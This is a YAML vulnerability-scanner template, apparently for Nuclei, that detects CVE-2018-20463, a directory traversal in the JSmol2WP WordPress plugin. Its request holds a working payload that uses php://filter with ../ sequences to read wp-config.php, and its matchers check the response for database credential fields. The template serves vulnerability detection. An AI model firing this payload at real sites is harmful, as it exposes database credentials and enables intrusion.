id: CVE-2018-20463

info:
  name: JSmol2WP <= 1.07 - Directory Traversal
  author: vinit989
  severity: high
  description: |
    An issue was discovered in the JSmol2WP plugin 1.07 for WordPress. There is an arbitrary file read vulnerability via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. This can also be used for SSRF.
  reference:
    - https://wpscan.com/vulnerability/9197
    - https://wordpress.org/plugins/jsmol2wp/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20463
    - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96-amp-SSRF
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20463
    cwe-id: CWE-22
  metadata:
    verified: "true"
  tags: wp,wp-plugin,wordpress,jsmol2wp,wpscan,cve,cve2018,traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'DB_USER',"
          - "'DB_PASSWORD'"
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200